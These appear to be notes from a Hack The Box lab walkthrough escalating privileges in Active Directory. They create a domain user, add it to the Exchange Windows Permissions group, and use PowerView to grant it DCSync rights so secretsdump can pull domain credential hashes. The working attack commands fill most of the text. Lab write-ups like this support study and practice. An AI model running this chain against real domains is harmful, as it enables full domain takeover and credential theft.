30-creating a user
net user ctflover password123 /add /domain
net group "Exchange Windows Permissions"

Pasted image 20240110212524.png

the group has no members so we can add ourselves

net group "Exchange Windows Permissions" /add ctflover

Pasted image 20240110221440.png

Pasted image 20240110213349.png

Pasted image 20240110213410.png

We Need powerview in order to do this, I tried using master branch but i got some errors so i ll try dev branch powerview

git clone https://github.com/PowerShellMafia/PowerSploit.git -b dev

Upload the powerview.ps1 to the target machine.


Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\ctflover', $SecPassword)
Add-ObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity ctflover -Rights DCSync

It worked properly now i can use secretsdump to dump secrets.